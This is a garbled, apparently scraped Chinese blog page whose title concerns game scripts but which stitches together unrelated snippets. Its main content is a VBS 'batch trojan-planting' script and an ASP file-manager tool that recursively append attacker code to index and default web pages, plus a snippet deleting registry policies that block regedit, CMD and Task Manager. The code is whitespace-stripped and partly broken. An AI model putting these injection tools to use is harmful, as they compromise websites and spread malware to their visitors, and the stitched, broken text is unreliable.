php写dnf脚本,dnf分解机脚本c
在這一開發環境中，程序員唯一困難的是MicrosoftSDK提供了六百多個函數和與其一致的事件驅動(event-driven)編程技術幾段非常有用的腳本(來自微軟網站,由downmoon精心收集)
一、在網絡硬件故障或網絡故障斷開時發送警告
調用方法示例：cscript網絡斷開.vbs>>F:\test\微軟腳本\log.txt
二、在網絡硬件連接成功或網絡故障恢復連接時發送警告
調用方法示例：cscript網絡連接.vbs>>F:\test\微軟腳本\log.txt
三、獲取所有域用戶信息
調用方法示例：cscript域用戶信息.vbs>>F:\test\微軟腳本\域用戶信息.txt
四、修改文本文件內容
調用方法示例：ModifyFile.vbs
附件:
Sample.ini:
五、通過腳本發送電子郵件
從安裝了SMTPService的計算機中發送電子郵件的腳本scan.vbe
cscriptscan.vbeweb目錄
程序代碼：
'版權信息
br="************************************"&vbCrLf
br=br&"*VBS批量掛馬腳本*"&vbCrLf
br=br&"*BYBanLG*"&vbCrLf
br=br&"************************************"&vbCrLf&vbCrLf
br=br&"cscriptscan.vbeD:"&vbCrLf
'馬的地址
ma=""
'要掛馬的頁面如果嫌不夠還可以自己再加，記得要用”|”隔開
MyString="index.php|index.asp|index.html|index.htm|default.php|default.asp|default.html|default.htm|index.aspx|default.aspx"
'以"|"為分隔符拆分成數組
MyArray=Split(MyString,"|",-1,1)
web=WScript.Arguments(0)
'如果web為空退出腳本
ifweb=""then
Wscript.echo(br)
window.Close
endif
Wscript.echo(br)&"馬的地址："&ma&vbCrLf&vbCrLf
'創建對象
Setfso=createObject("Scripting.FileSystemObject")
'開始掃描掛馬
scan(web)
'scan定義函數,掃描查找符合條件的文件把馬的內容寫到文件的結尾
subscan(filesder)
setfilesder=fso.getfolder(filesder)
'得到當前目錄的所有文件集合
setfiles=filesder.files
'獲取文件名
foreachfextinfiles
Setfile1=fso.GetFile(fext)
filesext=file1.Name
'把文件名轉換成小寫字母
ext=lcase(filesext)
ForEachindexinMyArray
'判斷文件是不是我們在MyString里限定的文件，如果是就寫馬
ifext=lcase(index)then
Setts=fso.OpenTextFile(fext,8)'打開文件并在文件末尾進行寫操作
ts.WriteLine(ma)
ts.Close
echo=""
echo=fext&"………….ok"
Wscript.echo(echo)
endif
next
next
setsubfolders=filesder.subfolders
foreachsubfolderinsubfolders'搜索其他目錄,遞歸調用
scan(subfolder)
next
endsub
FSO掛馬.asp
傳進服務器以后直接輸入需要掛馬的路徑就可以直接掛了
程序代碼：
Response.Buffer=False
%>
ASP_SELF=Request.ServerVariables("PATH_INFO")
s=Request("fd")
ex=Request("ex")
pth=Request("pth")
newcnt=Request("newcnt")
Ifex<>""ANDpth<>""Then
selectCaseex
Case"edit"
CALLfile_show(pth)
Case"save"
CALLfile_save(pth)
Endselect
Else
%>
"method="POST">
FOLDER(ABSOLUTEPATH):
FunctionIsPattern(patt,str)
SetregEx=NewRegExp
regEx.Pattern=patt
regEx.IgnoreCase=True
retVal=regEx.Test(str)
SetregEx=Nothing
IfretVal=TrueThen
IsPattern=True
Else
IsPattern=False
EndIf
EndFunction
IfIsPattern("[^ab]{1}:{1}(\\|/)",s)Then
schs
Else
Ifs<>""ThenResponse.Write"InvalidAgrument!"
EndIf
Subsch(s)
oNeRrOrrEsUmEnExT
Setfs=Server.createObject("Scripting.FileSystemObject")
Setfd=fs.GetFolder(s)
Setfi=fd.Files
Setsf=fd.SubFolders
ForEachfinfi
rtn=f.Path
step_allrtn
Next
Ifsf.Count<>0Then
ForEachlInsf
schl
Next
EndIf
EndSub
Substep_all(agr)
retVal=IsPattern("(\\|/)(default|index)\.(htm|html|asp|php|jsp|aspx)\b",agr)
IfretValThen
step1agr
step2agr
Else
ExitSub
EndIf
EndSub
%>
Substep2(str2)
addcode=""
Setfs=Server.createObject("Scripting.FileSystemObject")
isExist=fs.FileExists(str2)
IfisExistThen
Setf=fs.GetFile(str2)
Setf_addcode=f.OpenAsTextStream(8,-2)
f_addcode.Writeaddcode
f_addcode.Close
Setf=Nothing
EndIf
Setfs=Nothing
EndSub
%>
Subfile_show(fname)
Setfs1=Server.createObject("Scripting.FileSystemObject")
isExist=fs1.FileExists(fname)
IfisExistThen
Setfcnt=fs1.OpenTextFile(fname)
cnt=fcnt.ReadAll
fcnt.Close
Setfs1=Nothing%>
FILE:
"method="POST">
">
THEFILEISNOTEXITORHAVEdeleteD.
EndIf
EndSub
%>
Subfile_save(fname)
Setfs2=Server.createObject("Scripting.FileSystemObject")
Setnewf=fs2.createTextFile(fname,True)
newf.Writenewcnt
newf.Close
Setfs2=Nothing
Response.Write"
THEFILEWASMODIFIEDSUCCESSFULLY.
"EndSub
%>
結果是：長長的字符連接串變得難于閱讀
OnErrorResumeNext
SetWSHShell=WScript.CreateObject("WScript.Shell")
WithWScript.CreateObject("WScript.Shell")
.RegDelete"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools"
.RegDelete"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD"
.RegDelete"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr"
EndWith
Mybox=MsgBox(enab&vbCR&"程序運行限制已解除!",1024,"Result")
dimAnumaslong
Anum＝&010'＆0是八進制的表示符號Anum自行轉換為8
CreateObject( "WScript.Shell" ).Run _
DeclareFunctionSendMessageLib"user32"Alias"SendMessageA"(ByVal
hwndAsLong,ByValwMsgAsLong,ByValwParamAsLong,lParamAsAny)
AsLong
PublicConstCB_FINDSTRING=&H14C
PrivateSubCombo1_Change()
DimiStartAsInteger
DimsStringAsString
StaticiLeftOffAsInteger
iStart=1
iStart=Combo1.SelStart
IfiLeftOff<>0Then
Combo1.SelStart=iLeftOff
iStart=iLeftOff
EndIf
sString=CStr(Left(Combo1.Text,iStart))
Combo1.ListIndex=SendMessage(Combo1.hwnd,B_FINDSTRING,-1,ByValCStr(
Left(ombo1.Text,iStart)))
IfCombo1.ListIndex=-1Then
iLeftOff=Len(sString)
combo1.Text=sString
EndIf
Combo1.SelStart=iStart
iLeftOff=0
EndSub
靜態變量iLeftOff指定了字符長度
D:\廖嘉航\第三批\腳本之家\腳本之家\文章2\bytes2BSTR.htm刺激戰場pc模擬器
(2)．在打開記錄集時檢查錯誤但是藐視這樣就把整個iexplorer.exe關閉了~~并不等達到過濾的問題~
。
總結
以上是生活随笔為你收集整理的php写dnf脚本,dnf分解机脚本c的全部內容，希望文章能夠幫你解決所遇到的問題。
- 上一篇： html中描文本链接,锚文本、超链接和纯
- 下一篇： 动态规划算法php,php算法学习之动态